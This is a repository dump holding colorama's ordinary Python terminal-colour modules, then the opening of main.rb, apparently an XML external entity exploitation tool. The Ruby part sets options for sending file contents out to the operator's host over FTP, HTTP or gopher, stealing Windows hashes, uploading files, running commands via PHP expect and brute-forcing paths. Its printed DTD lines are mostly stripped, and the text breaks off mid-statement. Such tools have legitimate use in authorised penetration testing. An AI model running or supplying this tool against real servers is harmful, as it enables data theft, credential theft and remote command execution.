51 | RED = 31 52 | GREEN = 32 53 | YELLOW = 33 54 | BLUE = 34 55 | MAGENTA = 35 56 | CYAN = 36 57 | WHITE = 37 58 | RESET = 39 59 | 60 | # These are fairly well supported, but not part of the standard. 61 | LIGHTBLACK_EX = 90 62 | LIGHTRED_EX = 91 63 | LIGHTGREEN_EX = 92 64 | LIGHTYELLOW_EX = 93 65 | LIGHTBLUE_EX = 94 66 | LIGHTMAGENTA_EX = 95 67 | LIGHTCYAN_EX = 96 68 | LIGHTWHITE_EX = 97 69 | 70 | 71 | class AnsiBack(AnsiCodes): 72 | BLACK = 40 73 | RED = 41 74 | GREEN = 42 75 | YELLOW = 43 76 | BLUE = 44 77 | MAGENTA = 45 78 | CYAN = 46 79 | WHITE = 47 80 | RESET = 49 81 | 82 | # These are fairly well supported, but not part of the standard. 83 | LIGHTBLACK_EX = 100 84 | LIGHTRED_EX = 101 85 | LIGHTGREEN_EX = 102 86 | LIGHTYELLOW_EX = 103 87 | LIGHTBLUE_EX = 104 88 | LIGHTMAGENTA_EX = 105 89 | LIGHTCYAN_EX = 106 90 | LIGHTWHITE_EX = 107 91 | 92 | 93 | class AnsiStyle(AnsiCodes): 94 | BRIGHT = 1 95 | DIM = 2 96 | NORMAL = 22 97 | RESET_ALL = 0 98 | 99 | Fore = AnsiFore() 100 | Back = AnsiBack() 101 | Style = AnsiStyle() 102 | Cursor = AnsiCursor() 103 | -------------------------------------------------------------------------------- /colorama/ansitowin32.py: -------------------------------------------------------------------------------- 1 | # Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. 2 | import re 3 | import sys 4 | import os 5 | 6 | from .ansi import AnsiFore, AnsiBack, AnsiStyle, Style 7 | from .winterm import WinTerm, WinColor, WinStyle 8 | from .win32 import windll, winapi_test 9 | 10 | 11 | winterm = None 12 | if windll is not None: 13 | winterm = WinTerm() 14 | 15 | 16 | def is_stream_closed(stream): 17 | return not hasattr(stream, 'closed') or stream.closed 18 | 19 | 20 | def is_a_tty(stream): 21 | return hasattr(stream, 'isatty') and stream.isatty() 22 | 23 | 24 | class StreamWrapper(object): 25 | ''' 26 | Wraps a stream (such as stdout), acting as a transparent proxy for all 27 | attribute access apart from method 'write()', which is delegated to our 28 | Converter instance. 29 | ''' 30 | def __init__(self, wrapped, converter): 31 | # double-underscore everything to prevent clashes with names of 32 | # attributes on the wrapped stream object. 33 | self.__wrapped = wrapped 34 | self.__convertor = converter 35 | 36 | def __getattr__(self, name): 37 | return getattr(self.__wrapped, name) 38 | 39 | def write(self, text): 40 | self.__convertor.write(text) 41 | 42 | 43 | class AnsiToWin32(object): 44 | ''' 45 | Implements a 'write()' method which, on Windows, will strip ANSI character 46 | sequences from the text, and if outputting to a tty, will convert them into 47 | win32 function calls. 48 | ''' 49 | ANSI_CSI_RE = re.compile('\001?\033\[((?:\d|;)*)([a-zA-Z])\002?') # Control Sequence Introducer 50 | ANSI_OSC_RE = re.compile('\001?\033\]((?:.|;)*?)(\x07)\002?') # Operating System Command 51 | 52 | def __init__(self, wrapped, convert=None, strip=None, autoreset=False): 53 | # The wrapped stream (normally sys.stdout or sys.stderr) 54 | self.wrapped = wrapped 55 | 56 | # should we reset colors to defaults after every .write() 57 | self.autoreset = autoreset 58 | 59 | # create the proxy wrapping our output stream 60 | self.stream = StreamWrapper(wrapped, self) 61 | 62 | on_windows = os.name == 'nt' 63 | # We test if the WinAPI works, because even if we are on Windows 64 | # we may be using a terminal that doesn't support the WinAPI 65 | # (e.g. Cygwin Terminal). In this case it's up to the terminal 66 | # to support the ANSI codes. 67 | conversion_supported = on_windows and winapi_test() 68 | 69 | # should we strip ANSI sequences from our output? 70 | if strip is None: 71 | strip = conversion_supported or (not is_stream_closed(wrapped) and not is_a_tty(wrapped)) 72 | self.strip = strip 73 | 74 | # should we should convert ANSI sequences into win32 calls? 75 | if convert is None: 76 | convert = conversion_supported and not is_stream_closed(wrapped) and is_a_tty(wrapped) 77 | self.convert = convert 78 | 79 | # dict of ansi codes to win32 functions and parameters 80 | self.win32_calls = self.get_win32_calls() 81 | 82 | # are we wrapping stderr? 83 | self.on_stderr = self.wrapped is sys.stderr 84 | 85 | def should_wrap(self): 86 | ''' 87 | True if this class is actually needed. If false, then the output 88 | stream will not be affected, nor will win32 calls be issued, so 89 | wrapping stdout is not actually required. This will generally be 90 | False on non-Windows platforms, unless optional functionality like 91 | autoreset has been requested using kwargs to init() 92 | ''' 93 | return self.convert or self.strip or self.autoreset 94 | 95 | def get_win32_calls(self): 96 | if self.convert and winterm: 97 | return { 98 | AnsiStyle.RESET_ALL: (winterm.reset_all, ), 99 | AnsiStyle.BRIGHT: (winterm.style, WinStyle.BRIGHT), 100 | AnsiStyle.DIM: (winterm.style, WinStyle.NORMAL), 101 | AnsiStyle.NORMAL: (winterm.style, WinStyle.NORMAL), 102 | AnsiFore.BLACK: (winterm.fore, WinColor.BLACK), 103 | AnsiFore.RED: (winterm.fore, WinColor.RED), 104 | AnsiFore.GREEN: (winterm.fore, WinColor.GREEN), 105 | AnsiFore.YELLOW: (winterm.fore, WinColor.YELLOW), 106 | AnsiFore.BLUE: (winterm.fore, WinColor.BLUE), 107 | AnsiFore.MAGENTA: (winterm.fore, WinColor.MAGENTA), 108 | AnsiFore.CYAN: (winterm.fore, WinColor.CYAN), 109 | AnsiFore.WHITE: (winterm.fore, WinColor.GREY), 110 | AnsiFore.RESET: (winterm.fore, ), 111 | AnsiFore.LIGHTBLACK_EX: (winterm.fore, WinColor.BLACK, True), 112 | AnsiFore.LIGHTRED_EX: (winterm.fore, WinColor.RED, True), 113 | AnsiFore.LIGHTGREEN_EX: (winterm.fore, WinColor.GREEN, True), 114 | AnsiFore.LIGHTYELLOW_EX: (winterm.fore, WinColor.YELLOW, True), 115 | AnsiFore.LIGHTBLUE_EX: (winterm.fore, WinColor.BLUE, True), 116 | AnsiFore.LIGHTMAGENTA_EX: (winterm.fore, WinColor.MAGENTA, True), 117 | AnsiFore.LIGHTCYAN_EX: (winterm.fore, WinColor.CYAN, True), 118 | AnsiFore.LIGHTWHITE_EX: (winterm.fore, WinColor.GREY, True), 119 | AnsiBack.BLACK: (winterm.back, WinColor.BLACK), 120 | AnsiBack.RED: (winterm.back, WinColor.RED), 121 | AnsiBack.GREEN: (winterm.back, WinColor.GREEN), 122 | AnsiBack.YELLOW: (winterm.back, WinColor.YELLOW), 123 | AnsiBack.BLUE: (winterm.back, WinColor.BLUE), 124 | AnsiBack.MAGENTA: (winterm.back, WinColor.MAGENTA), 125 | AnsiBack.CYAN: (winterm.back, WinColor.CYAN), 126 | AnsiBack.WHITE: (winterm.back, WinColor.GREY), 127 | AnsiBack.RESET: (winterm.back, ), 128 | AnsiBack.LIGHTBLACK_EX: (winterm.back, WinColor.BLACK, True), 129 | AnsiBack.LIGHTRED_EX: (winterm.back, WinColor.RED, True), 130 | AnsiBack.LIGHTGREEN_EX: (winterm.back, WinColor.GREEN, True), 131 | AnsiBack.LIGHTYELLOW_EX: (winterm.back, WinColor.YELLOW, True), 132 | AnsiBack.LIGHTBLUE_EX: (winterm.back, WinColor.BLUE, True), 133 | AnsiBack.LIGHTMAGENTA_EX: (winterm.back, WinColor.MAGENTA, True), 134 | AnsiBack.LIGHTCYAN_EX: (winterm.back, WinColor.CYAN, True), 135 | AnsiBack.LIGHTWHITE_EX: (winterm.back, WinColor.GREY, True), 136 | } 137 | return dict() 138 | 139 | def write(self, text): 140 | if self.strip or self.convert: 141 | self.write_and_convert(text) 142 | else: 143 | self.wrapped.write(text) 144 | self.wrapped.flush() 145 | if self.autoreset: 146 | self.reset_all() 147 | 148 | 149 | def reset_all(self): 150 | if self.convert: 151 | self.call_win32('m', (0,)) 152 | elif not self.strip and not is_stream_closed(self.wrapped): 153 | self.wrapped.write(Style.RESET_ALL) 154 | 155 | 156 | def write_and_convert(self, text): 157 | ''' 158 | Write the given text to our wrapped stream, stripping any ANSI 159 | sequences from the text, and optionally converting them into win32 160 | calls. 161 | ''' 162 | cursor = 0 163 | text = self.convert_osc(text) 164 | for match in self.ANSI_CSI_RE.finditer(text): 165 | start, end = match.span() 166 | self.write_plain_text(text, cursor, start) 167 | self.convert_ansi(*match.groups()) 168 | cursor = end 169 | self.write_plain_text(text, cursor, len(text)) 170 | 171 | 172 | def write_plain_text(self, text, start, end): 173 | if start < end: 174 | self.wrapped.write(text[start:end]) 175 | self.wrapped.flush() 176 | 177 | 178 | def convert_ansi(self, paramstring, command): 179 | if self.convert: 180 | params = self.extract_params(command, paramstring) 181 | self.call_win32(command, params) 182 | 183 | 184 | def extract_params(self, command, paramstring): 185 | if command in 'Hf': 186 | params = tuple(int(p) if len(p) != 0 else 1 for p in paramstring.split(';')) 187 | while len(params) < 2: 188 | # defaults: 189 | params = params + (1,) 190 | else: 191 | params = tuple(int(p) for p in paramstring.split(';') if len(p) != 0) 192 | if len(params) == 0: 193 | # defaults: 194 | if command in 'JKm': 195 | params = (0,) 196 | elif command in 'ABCD': 197 | params = (1,) 198 | 199 | return params 200 | 201 | 202 | def call_win32(self, command, params): 203 | if command == 'm': 204 | for param in params: 205 | if param in self.win32_calls: 206 | func_args = self.win32_calls[param] 207 | func = func_args[0] 208 | args = func_args[1:] 209 | kwargs = dict(on_stderr=self.on_stderr) 210 | func(*args, **kwargs) 211 | elif command in 'J': 212 | winterm.erase_screen(params[0], on_stderr=self.on_stderr) 213 | elif command in 'K': 214 | winterm.erase_line(params[0], on_stderr=self.on_stderr) 215 | elif command in 'Hf': # cursor position - absolute 216 | winterm.set_cursor_position(params, on_stderr=self.on_stderr) 217 | elif command in 'ABCD': # cursor position - relative 218 | n = params[0] 219 | # A - up, B - down, C - forward, D - back 220 | x, y = {'A': (0, -n), 'B': (0, n), 'C': (n, 0), 'D': (-n, 0)}[command] 221 | winterm.cursor_adjust(x, y, on_stderr=self.on_stderr) 222 | 223 | 224 | def convert_osc(self, text): 225 | for match in self.ANSI_OSC_RE.finditer(text): 226 | start, end = match.span() 227 | text = text[:start] + text[end:] 228 | paramstring, command = match.groups() 229 | if command in '\x07': # \x07 = BEL 230 | params = paramstring.split(";") 231 | # 0 - change title and icon (we will only change title) 232 | # 1 - change icon (we don't support this) 233 | # 2 - change title 234 | if params[0] in '02': 235 | winterm.set_title(params[1]) 236 | return text 237 | -------------------------------------------------------------------------------- /colorama/initialise.py: -------------------------------------------------------------------------------- 1 | # Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. 2 | import atexit 3 | import contextlib 4 | import sys 5 | 6 | from .ansitowin32 import AnsiToWin32 7 | 8 | 9 | orig_stdout = None 10 | orig_stderr = None 11 | 12 | wrapped_stdout = None 13 | wrapped_stderr = None 14 | 15 | atexit_done = False 16 | 17 | 18 | def reset_all(): 19 | if AnsiToWin32 is not None: # Issue #74: objects might become None at exit 20 | AnsiToWin32(orig_stdout).reset_all() 21 | 22 | 23 | def init(autoreset=False, convert=None, strip=None, wrap=True): 24 | 25 | if not wrap and any([autoreset, convert, strip]): 26 | raise ValueError('wrap=False conflicts with any other arg=True') 27 | 28 | global wrapped_stdout, wrapped_stderr 29 | global orig_stdout, orig_stderr 30 | 31 | orig_stdout = sys.stdout 32 | orig_stderr = sys.stderr 33 | 34 | if sys.stdout is None: 35 | wrapped_stdout = None 36 | else: 37 | sys.stdout = wrapped_stdout = \ 38 | wrap_stream(orig_stdout, convert, strip, autoreset, wrap) 39 | if sys.stderr is None: 40 | wrapped_stderr = None 41 | else: 42 | sys.stderr = wrapped_stderr = \ 43 | wrap_stream(orig_stderr, convert, strip, autoreset, wrap) 44 | 45 | global atexit_done 46 | if not atexit_done: 47 | atexit.register(reset_all) 48 | atexit_done = True 49 | 50 | 51 | def deinit(): 52 | if orig_stdout is not None: 53 | sys.stdout = orig_stdout 54 | if orig_stderr is not None: 55 | sys.stderr = orig_stderr 56 | 57 | 58 | @contextlib.contextmanager 59 | def colorama_text(*args, **kwargs): 60 | init(*args, **kwargs) 61 | try: 62 | yield 63 | finally: 64 | deinit() 65 | 66 | 67 | def reinit(): 68 | if wrapped_stdout is not None: 69 | sys.stdout = wrapped_stdout 70 | if wrapped_stderr is not None: 71 | sys.stderr = wrapped_stderr 72 | 73 | 74 | def wrap_stream(stream, convert, strip, autoreset, wrap): 75 | if wrap: 76 | wrapper = AnsiToWin32(stream, 77 | convert=convert, strip=strip, autoreset=autoreset) 78 | if wrapper.should_wrap(): 79 | stream = wrapper.stream 80 | return stream 81 | 82 | 83 | -------------------------------------------------------------------------------- /colorama/win32.py: -------------------------------------------------------------------------------- 1 | # Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. 2 | 3 | # from winbase.h 4 | STDOUT = -11 5 | STDERR = -12 6 | 7 | try: 8 | import ctypes 9 | from ctypes import LibraryLoader 10 | windll = LibraryLoader(ctypes.WinDLL) 11 | from ctypes import wintypes 12 | except (AttributeError, ImportError): 13 | windll = None 14 | SetConsoleTextAttribute = lambda *_: None 15 | winapi_test = lambda *_: None 16 | else: 17 | from ctypes import byref, Structure, c_char, POINTER 18 | 19 | COORD = wintypes._COORD 20 | 21 | class CONSOLE_SCREEN_BUFFER_INFO(Structure): 22 | """struct in wincon.h.""" 23 | _fields_ = [ 24 | ("dwSize", COORD), 25 | ("dwCursorPosition", COORD), 26 | ("wAttributes", wintypes.WORD), 27 | ("srWindow", wintypes.SMALL_RECT), 28 | ("dwMaximumWindowSize", COORD), 29 | ] 30 | def __str__(self): 31 | return '(%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d)' % ( 32 | self.dwSize.Y, self.dwSize.X 33 | , self.dwCursorPosition.Y, self.dwCursorPosition.X 34 | , self.wAttributes 35 | , self.srWindow.Top, self.srWindow.Left, self.srWindow.Bottom, self.srWindow.Right 36 | , self.dwMaximumWindowSize.Y, self.dwMaximumWindowSize.X 37 | ) 38 | 39 | _GetStdHandle = windll.kernel32.GetStdHandle 40 | _GetStdHandle.argtypes = [ 41 | wintypes.DWORD, 42 | ] 43 | _GetStdHandle.restype = wintypes.HANDLE 44 | 45 | _GetConsoleScreenBufferInfo = windll.kernel32.GetConsoleScreenBufferInfo 46 | _GetConsoleScreenBufferInfo.argtypes = [ 47 | wintypes.HANDLE, 48 | POINTER(CONSOLE_SCREEN_BUFFER_INFO), 49 | ] 50 | _GetConsoleScreenBufferInfo.restype = wintypes.BOOL 51 | 52 | _SetConsoleTextAttribute = windll.kernel32.SetConsoleTextAttribute 53 | _SetConsoleTextAttribute.argtypes = [ 54 | wintypes.HANDLE, 55 | wintypes.WORD, 56 | ] 57 | _SetConsoleTextAttribute.restype = wintypes.BOOL 58 | 59 | _SetConsoleCursorPosition = windll.kernel32.SetConsoleCursorPosition 60 | _SetConsoleCursorPosition.argtypes = [ 61 | wintypes.HANDLE, 62 | COORD, 63 | ] 64 | _SetConsoleCursorPosition.restype = wintypes.BOOL 65 | 66 | _FillConsoleOutputCharacterA = windll.kernel32.FillConsoleOutputCharacterA 67 | _FillConsoleOutputCharacterA.argtypes = [ 68 | wintypes.HANDLE, 69 | c_char, 70 | wintypes.DWORD, 71 | COORD, 72 | POINTER(wintypes.DWORD), 73 | ] 74 | _FillConsoleOutputCharacterA.restype = wintypes.BOOL 75 | 76 | _FillConsoleOutputAttribute = windll.kernel32.FillConsoleOutputAttribute 77 | _FillConsoleOutputAttribute.argtypes = [ 78 | wintypes.HANDLE, 79 | wintypes.WORD, 80 | wintypes.DWORD, 81 | COORD, 82 | POINTER(wintypes.DWORD), 83 | ] 84 | _FillConsoleOutputAttribute.restype = wintypes.BOOL 85 | 86 | _SetConsoleTitleW = windll.kernel32.SetConsoleTitleA 87 | _SetConsoleTitleW.argtypes = [ 88 | wintypes.LPCSTR 89 | ] 90 | _SetConsoleTitleW.restype = wintypes.BOOL 91 | 92 | handles = { 93 | STDOUT: _GetStdHandle(STDOUT), 94 | STDERR: _GetStdHandle(STDERR), 95 | } 96 | 97 | def winapi_test(): 98 | handle = handles[STDOUT] 99 | csbi = CONSOLE_SCREEN_BUFFER_INFO() 100 | success = _GetConsoleScreenBufferInfo( 101 | handle, byref(csbi)) 102 | return bool(success) 103 | 104 | def GetConsoleScreenBufferInfo(stream_id=STDOUT): 105 | handle = handles[stream_id] 106 | csbi = CONSOLE_SCREEN_BUFFER_INFO() 107 | success = _GetConsoleScreenBufferInfo( 108 | handle, byref(csbi)) 109 | return csbi 110 | 111 | def SetConsoleTextAttribute(stream_id, attrs): 112 | handle = handles[stream_id] 113 | return _SetConsoleTextAttribute(handle, attrs) 114 | 115 | def SetConsoleCursorPosition(stream_id, position, adjust=True): 116 | position = COORD(*position) 117 | # If the position is out of range, do nothing. 118 | if position.Y <= 0 or position.X <= 0: 119 | return 120 | # Adjust for Windows' SetConsoleCursorPosition: 121 | # 1. being 0-based, while ANSI is 1-based. 122 | # 2. expecting (x,y), while ANSI uses (y,x). 123 | adjusted_position = COORD(position.Y - 1, position.X - 1) 124 | if adjust: 125 | # Adjust for viewport's scroll position 126 | sr = GetConsoleScreenBufferInfo(STDOUT).srWindow 127 | adjusted_position.Y += sr.Top 128 | adjusted_position.X += sr.Left 129 | # Resume normal processing 130 | handle = handles[stream_id] 131 | return _SetConsoleCursorPosition(handle, adjusted_position) 132 | 133 | def FillConsoleOutputCharacter(stream_id, char, length, start): 134 | handle = handles[stream_id] 135 | char = c_char(char.encode()) 136 | length = wintypes.DWORD(length) 137 | num_written = wintypes.DWORD(0) 138 | # Note that this is hard-coded for ANSI (vs wide) bytes. 139 | success = _FillConsoleOutputCharacterA( 140 | handle, char, length, start, byref(num_written)) 141 | return num_written.value 142 | 143 | def FillConsoleOutputAttribute(stream_id, attr, length, start): 144 | ''' FillConsoleOutputAttribute( hConsole, csbi.wAttributes, dwConSize, coordScreen, &cCharsWritten )''' 145 | handle = handles[stream_id] 146 | attribute = wintypes.WORD(attr) 147 | length = wintypes.DWORD(length) 148 | num_written = wintypes.DWORD(0) 149 | # Note that this is hard-coded for ANSI (vs wide) bytes. 150 | return _FillConsoleOutputAttribute( 151 | handle, attribute, length, start, byref(num_written)) 152 | 153 | def SetConsoleTitle(title): 154 | return _SetConsoleTitleW(title) 155 | -------------------------------------------------------------------------------- /colorama/winterm.py: -------------------------------------------------------------------------------- 1 | # Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. 2 | from . import win32 3 | 4 | 5 | # from wincon.h 6 | class WinColor(object): 7 | BLACK = 0 8 | BLUE = 1 9 | GREEN = 2 10 | CYAN = 3 11 | RED = 4 12 | MAGENTA = 5 13 | YELLOW = 6 14 | GREY = 7 15 | 16 | # from wincon.h 17 | class WinStyle(object): 18 | NORMAL = 0x00 # dim text, dim background 19 | BRIGHT = 0x08 # bright text, dim background 20 | BRIGHT_BACKGROUND = 0x80 # dim text, bright background 21 | 22 | class WinTerm(object): 23 | 24 | def __init__(self): 25 | self._default = win32.GetConsoleScreenBufferInfo(win32.STDOUT).wAttributes 26 | self.set_attrs(self._default) 27 | self._default_fore = self._fore 28 | self._default_back = self._back 29 | self._default_style = self._style 30 | # In order to emulate LIGHT_EX in windows, we borrow the BRIGHT style. 31 | # So that LIGHT_EX colors and BRIGHT style do not clobber each other, 32 | # we track them separately, since LIGHT_EX is overwritten by Fore/Back 33 | # and BRIGHT is overwritten by Style codes. 34 | self._light = 0 35 | 36 | def get_attrs(self): 37 | return self._fore + self._back * 16 + (self._style | self._light) 38 | 39 | def set_attrs(self, value): 40 | self._fore = value & 7 41 | self._back = (value >> 4) & 7 42 | self._style = value & (WinStyle.BRIGHT | WinStyle.BRIGHT_BACKGROUND) 43 | 44 | def reset_all(self, on_stderr=None): 45 | self.set_attrs(self._default) 46 | self.set_console(attrs=self._default) 47 | 48 | def fore(self, fore=None, light=False, on_stderr=False): 49 | if fore is None: 50 | fore = self._default_fore 51 | self._fore = fore 52 | # Emulate LIGHT_EX with BRIGHT Style 53 | if light: 54 | self._light |= WinStyle.BRIGHT 55 | else: 56 | self._light &= ~WinStyle.BRIGHT 57 | self.set_console(on_stderr=on_stderr) 58 | 59 | def back(self, back=None, light=False, on_stderr=False): 60 | if back is None: 61 | back = self._default_back 62 | self._back = back 63 | # Emulate LIGHT_EX with BRIGHT_BACKGROUND Style 64 | if light: 65 | self._light |= WinStyle.BRIGHT_BACKGROUND 66 | else: 67 | self._light &= ~WinStyle.BRIGHT_BACKGROUND 68 | self.set_console(on_stderr=on_stderr) 69 | 70 | def style(self, style=None, on_stderr=False): 71 | if style is None: 72 | style = self._default_style 73 | self._style = style 74 | self.set_console(on_stderr=on_stderr) 75 | 76 | def set_console(self, attrs=None, on_stderr=False): 77 | if attrs is None: 78 | attrs = self.get_attrs() 79 | handle = win32.STDOUT 80 | if on_stderr: 81 | handle = win32.STDERR 82 | win32.SetConsoleTextAttribute(handle, attrs) 83 | 84 | def get_position(self, handle): 85 | position = win32.GetConsoleScreenBufferInfo(handle).dwCursorPosition 86 | # Because Windows coordinates are 0-based, 87 | # and win32.SetConsoleCursorPosition expects 1-based. 88 | position.X += 1 89 | position.Y += 1 90 | return position 91 | 92 | def set_cursor_position(self, position=None, on_stderr=False): 93 | if position is None: 94 | # I'm not currently tracking the position, so there is no default. 95 | # position = self.get_position() 96 | return 97 | handle = win32.STDOUT 98 | if on_stderr: 99 | handle = win32.STDERR 100 | win32.SetConsoleCursorPosition(handle, position) 101 | 102 | def cursor_adjust(self, x, y, on_stderr=False): 103 | handle = win32.STDOUT 104 | if on_stderr: 105 | handle = win32.STDERR 106 | position = self.get_position(handle) 107 | adjusted_position = (position.Y + y, position.X + x) 108 | win32.SetConsoleCursorPosition(handle, adjusted_position, adjust=False) 109 | 110 | def erase_screen(self, mode=0, on_stderr=False): 111 | # 0 should clear from the cursor to the end of the screen. 112 | # 1 should clear from the cursor to the beginning of the screen. 113 | # 2 should clear the entire screen, and move cursor to (1,1) 114 | handle = win32.STDOUT 115 | if on_stderr: 116 | handle = win32.STDERR 117 | csbi = win32.GetConsoleScreenBufferInfo(handle) 118 | # get the number of character cells in the current buffer 119 | cells_in_screen = csbi.dwSize.X * csbi.dwSize.Y 120 | # get number of character cells before current cursor position 121 | cells_before_cursor = csbi.dwSize.X * csbi.dwCursorPosition.Y + csbi.dwCursorPosition.X 122 | if mode == 0: 123 | from_coord = csbi.dwCursorPosition 124 | cells_to_erase = cells_in_screen - cells_before_cursor 125 | if mode == 1: 126 | from_coord = win32.COORD(0, 0) 127 | cells_to_erase = cells_before_cursor 128 | elif mode == 2: 129 | from_coord = win32.COORD(0, 0) 130 | cells_to_erase = cells_in_screen 131 | # fill the entire screen with blanks 132 | win32.FillConsoleOutputCharacter(handle, ' ', cells_to_erase, from_coord) 133 | # now set the buffer's attributes accordingly 134 | win32.FillConsoleOutputAttribute(handle, self.get_attrs(), cells_to_erase, from_coord) 135 | if mode == 2: 136 | # put the cursor where needed 137 | win32.SetConsoleCursorPosition(handle, (1, 1)) 138 | 139 | def erase_line(self, mode=0, on_stderr=False): 140 | # 0 should clear from the cursor to the end of the line. 141 | # 1 should clear from the cursor to the beginning of the line. 142 | # 2 should clear the entire line. 143 | handle = win32.STDOUT 144 | if on_stderr: 145 | handle = win32.STDERR 146 | csbi = win32.GetConsoleScreenBufferInfo(handle) 147 | if mode == 0: 148 | from_coord = csbi.dwCursorPosition 149 | cells_to_erase = csbi.dwSize.X - csbi.dwCursorPosition.X 150 | if mode == 1: 151 | from_coord = win32.COORD(0, csbi.dwCursorPosition.Y) 152 | cells_to_erase = csbi.dwCursorPosition.X 153 | elif mode == 2: 154 | from_coord = win32.COORD(0, csbi.dwCursorPosition.Y) 155 | cells_to_erase = csbi.dwSize.X 156 | # fill the entire screen with blanks 157 | win32.FillConsoleOutputCharacter(handle, ' ', cells_to_erase, from_coord) 158 | # now set the buffer's attributes accordingly 159 | win32.FillConsoleOutputAttribute(handle, self.get_attrs(), cells_to_erase, from_coord) 160 | 161 | def set_title(self, title): 162 | win32.SetConsoleTitle(title) 163 | -------------------------------------------------------------------------------- /main.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | 3 | require 'socket' 4 | require 'fileutils' 5 | require 'uri' 6 | require 'net/http' 7 | require 'net/https' 8 | require 'base64' 9 | require 'readline' 10 | 11 | # CONFIGURE 12 | host = "" # our external ip 13 | $path = "" # path to enumerate 14 | $file = "" # file with vulnerable HTTP request 15 | $secfile = "" # file with second request (2nd order) 16 | enum = "ftp" # which out of band protocol should be used for file retrieval - ftp/http/gopher 17 | $logger = "n" # only log requests, do not send anything 18 | 19 | $proto = "http" # protocol to use - http/https 20 | $proxy = "" # proxy host 21 | $proxy_port = "" # proxy port 22 | 23 | enumports = "" # which ports should be checked if they are unfiltered for reverse connections 24 | phpfilter = "n" # if yes php filter will be used to base64 encode file content - y/n 25 | $urlencode = "n" # if injected DTD should be URL encoded 26 | enumall = "n" # if yes XPLOIT will not ask what to enum (prone to false positives) - y/n 27 | $brute = "" # file with paths to bruteforce 28 | $direct = "" # if direct exploitation should be used, this parameter should contain unique mark between which results are returned 29 | cdata = "n" # if XPLOIT should use CDATA while using direct exploitation 30 | 31 | hashes = "n" # steal Windows hashes 32 | upload = "" # upload this file into temp directory using Java jar schema 33 | expect = "" # command that gets executed using PHP expect 34 | $xslt = "n" # tests for XSLT 35 | 36 | $test = false # test mode, shows only payload 37 | $dtdi = "y" # if yes then DTD is injected automatically 38 | $rproto = "file" # file or netdoc protocol to retrieve data 39 | $output = "brute.log" # output file for brute and logger modes 40 | $verbose = "n" # verbose messaging 41 | timeout = 10 # timeout for receiving responses 42 | $contimeout = 30 # timeout used to close connection with server 43 | 44 | $port = 0 # remote host application port 45 | $remote = "" # remote host URL/IP address 46 | 47 | http_port = 80 # http port that receives file contents/directory listings and serves XML files 48 | ftp_port = 21 # ftp port that receives file contents/directory listings 49 | gopher_port = 70 # gopher port that receives file contents/directory listings 50 | jar_port = 1337 # port accepts connections and then sends files 51 | xslt_port = 1337 # port that is used to test for XSLT injection 52 | 53 | # holds HTTP responses 54 | $response = "" 55 | # regex to find directory listings 56 | $regex = /^[$.\-_~ 0-9A-Za-z]+$/ 57 | # array that holds filenames to enumerate 58 | $filenames = Array.new 59 | # temp path holders - hold next filenames in different formats for enumeration 60 | $nextpath = "" 61 | enumpath = "" 62 | $tmppath = "" 63 | $directpath = "" 64 | # array that contains skipped and allowed paths 65 | blacklist = Array.new 66 | whitelist = Array.new 67 | # other variables 68 | $method = "post" # HTTP method - get/post 69 | cmp = "" # holds user input 70 | switch = 0 # this switch locks enumeration if response is pending 71 | i = 0 # main counter 72 | $time = 1 # HTTP response timeout 73 | 74 | # set all variables 75 | ARGV.each do |arg| 76 | host = arg.split("=")[1] if arg.include?("--host=") 77 | $path = arg.split("=")[1] if arg.include?("--path=") 78 | $file = arg.split("=")[1] if arg.include?("--file=") 79 | enum = arg.split("=")[1] if arg.include?("--oob=") 80 | $proto = "https" if arg.include?("--ssl") 81 | $proxy = arg.split("=")[1].split(":")[0] if arg.include?("--proxy=") 82 | $proxy_port = arg.split("=")[1].split(":")[1] if arg.include?("--proxy=") 83 | phpfilter = "y" if arg.include?("--phpfilter") 84 | enumall = "y" if arg.include?("--fast") 85 | $brute = arg.split("=")[1] if arg.include?("--brute=") 86 | $verbose = "y" if arg.include?("--verbose") 87 | xslt_port = arg.split("=")[1] if arg.include?("--xsltport=") 88 | http_port = arg.split("=")[1] if arg.include?("--httpport=") 89 | ftp_port = arg.split("=")[1] if arg.include?("--ftpport=") 90 | gopher_port = arg.split("=")[1] if arg.include?("--gopherport=") 91 | jar_port = arg.split("=")[1] if arg.include?("--jarport=") 92 | timeout = Integer(arg.split("=")[1]) if arg.include?("--timeout=") 93 | hashes = "y" if arg.include?("--hashes") 94 | upload = arg.split("=")[1] if arg.include?("--upload=") 95 | expect = arg.split("=")[1] if arg.include?("--expect=") 96 | enumports = arg.split("=")[1] if arg.include?("--enumports=") 97 | $urlencode = "y" if arg.include?("--urlencode") 98 | $dtdi = "n" if arg.include?("--nodtd") 99 | $xslt = "y" if arg.include?("--xslt") 100 | $direct = arg.split("=")[1] if arg.include?("--direct=") 101 | $logger = "y" if arg.include?("--logger") 102 | $brute = "logger" if arg.include?("--logger") 103 | $output = arg.split("=")[1] if arg.include?("--output=") 104 | $secfile = arg.split("=")[1] if arg.include?("--2ndfile=") 105 | $rproto = "netdoc" if arg.include?("--netdoc") 106 | $contimeout = Integer(arg.split("=")[1]) if arg.include?("--contimeout=") 107 | $port = Integer(arg.split("=")[1]) if arg.include?("--rport=") 108 | $remote = arg.split("=")[1] if arg.include?("--rhost=") 109 | $test = true if arg.include?("--test") 110 | cdata = "y" if arg.include?("--cdata") 111 | end 112 | 113 | # show DTD to inject 114 | if ARGV.include? "--dtd" 115 | if host == "" 116 | host = "YOUR_HOST" 117 | end 118 | if http_port == "" 119 | http_port = "HTTPPORT" 120 | end 121 | puts "" 122 | puts "%remote;%int;%trick;]>" 123 | puts "" 124 | exit(1) 125 | 126 | # show sample direct exploitation XML 127 | elsif ARGV.include? "--xml" 128 | puts "" 129 | puts "]>UNIQUEMARK&direct;UNIQUEMARK" 130 | puts "" 131 | exit(1) 132 | 133 | # show sample direct exploitation XML with CDATA 134 | elsif ARGV.include? "--cdata-xml" 135 | if host == "" 136 | host = "YOUR_HOST" 137 | end 138 | if http_port == "" 139 | http_port = "HTTPPORT" 140 | end 141 | puts "" 142 | puts "\">%remote;]>UNIQUEMARK&join;UNIQUEMARK" 143 | puts "" 144 | exit(1) 145 | 146 | # show main menu 147 | elsif ARGV.nil? || (ARGV.size < 3 && $logger == "n") || (host == "" && $direct == "" && $logger == "n") || ($file == "" && $logger == "n") || ($path == "" && $brute == 